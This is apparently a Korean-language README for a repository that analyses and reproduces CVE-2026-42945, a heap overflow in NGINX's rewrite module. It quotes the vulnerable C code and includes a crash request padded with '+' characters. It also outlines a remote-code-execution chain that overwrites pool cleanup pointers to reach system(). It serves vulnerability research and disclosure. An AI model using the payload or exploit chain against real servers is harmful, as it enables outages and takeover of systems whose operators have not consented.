
NGINX Rift 漏洞分析与复现
CVE-2026-42945(코드명 "NGINX Rift")는 NGINX ngx_http_rewrite_module에 존재하는 힙 버퍼 오버플로 취약점으로, CVSS v4 점수 **9.2(Critical)**입니다.
이 취약점은 depthfirst 보안 연구팀이 2026년 4월에 발견했으며, 2008년 NGINX 0.6.27 버전에서 도입된 후 18년 동안 잠복했습니다.
취약점을 트리거하려면 다음 NGINX 구성 패턴이 필요합니다:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
핵심 조건:
rewrite 지시문의 대체 문자열에 ?(물음표)가 포함됨set 지시문이 정규식 캡처 그룹(예: $1)을 참조+, &, % 등)가 포함됨NGINX 스크립트 엔진은 2단계 처리를 통해 rewrite/set 지시문을 실행합니다:
취약점의 핵심은 두 단계 사이의 엔진 상태 불일치입니다:
rewrite가 is_args 플래그 설정rewrite 지시문의 대체 문자열에 ?가 포함되면 ngx_http_script_start_args_code 함수가 다음을 설정합니다:
void ngx_http_script_start_args_code(ngx_http_script_engine_t *e)
{
e->is_args = 1; // // 영구 설정, 절대 재설정되지 않음!
e->args = e->pos;
e->ip += sizeof(uintptr_t);
}
set 지시문의 길이 계산은 새 하위 엔진 사용이후 set 지시문이 캡처 그룹을 참조할 때 ngx_http_script_complex_value_code는 전체가 0인 하위 엔진을 생성합니다:
void ngx_http_script_complex_value_code(ngx_http_script_engine_t *e)
{
ngx_http_script_engine_t le;
// ...
ngx_memzero(&le, sizeof(ngx_http_script_engine_t)); // le.is_args = 0
le.ip = code->lengths->elts;
길이 계산(하위 엔진 le 사용, is_args=0):
// ngx_http_script_copy_capture_len_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
// is_args=0, 조건이 false이므로 else 분기
return cap[n + 1] - cap[n]; // // 원본 길이 반환(이스케이프되지 않음)
}
실제 복사(주 엔진 e 사용, is_args=1):
// ngx_http_script_copy_capture_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
// is_args=1, 조건이 true이므로 if 분기
e->pos = (u_char *) ngx_escape_uri(pos, &p[cap[n]],
cap[n + 1] - cap[n],
NGX_ESCAPE_ARGS);
// // 각 이스케이프 가능 문자는 1바이트에서 3바이트로 확장됨!
}
raw_size(원본 캡처 길이)raw_size + 2 * N(N = 이스케이프 가능 문자 수)예를 들어 URI에 +가 100개 있으면 오버플로 양은 200바이트입니다.
가장 간단한 공격 방법 - 이스케이프 가능 문자가 많이 포함된 요청을 보내면 worker 프로세스가 충돌합니다:
GET /api/+++++++++++++++++++++++++++++++++++ HTTP/1.1
Host: target.com
완전한 RCE 공격 체인(ASLR이 꺼져 있거나 우회된 상태 필요):
ngx_pool_t의 힙 레이아웃 제어cleanup 포인터 덮어쓰기: 인접한 메모리 풀 구조로 오버플로system() 주소가 포함된 가짜 구조 주입ngx_destroy_pool이 cleanup 연결 리스트를 순회하도록 유발NGINX의 다중 프로세스 아키텍처는 공격을 더욱 신뢰성 있게 만듭니다. worker가 충돌하면 master가 메모리 레이아웃이 완전히 동일한 새 worker를 포크합니다.
README.md - 본 파일, 취약점 분석 문서Dockerfile - 취약한 NGINX 환경 구축nginx.conf - 취약점을 트리거하는 NGINX 구성poc_crash.py - DoS PoC(worker 충돌 트리거)docker-compose.yml - 한 번의 명령으로 테스트 환경 시작# 1. 취약한 NGINX 빌드 및 시작
docker-compose up -d
# 2. DoS PoC 실행
python3 poc_crash.py
# 3. NGINX 오류 로그 확인으로 충돌 확인
docker-compose logs nginx
본 자료는 보안 연구 및 교육 목적으로만 제공됩니다. 이 정보를 승인되지 않은 공격 행위에 사용하지 마십시오.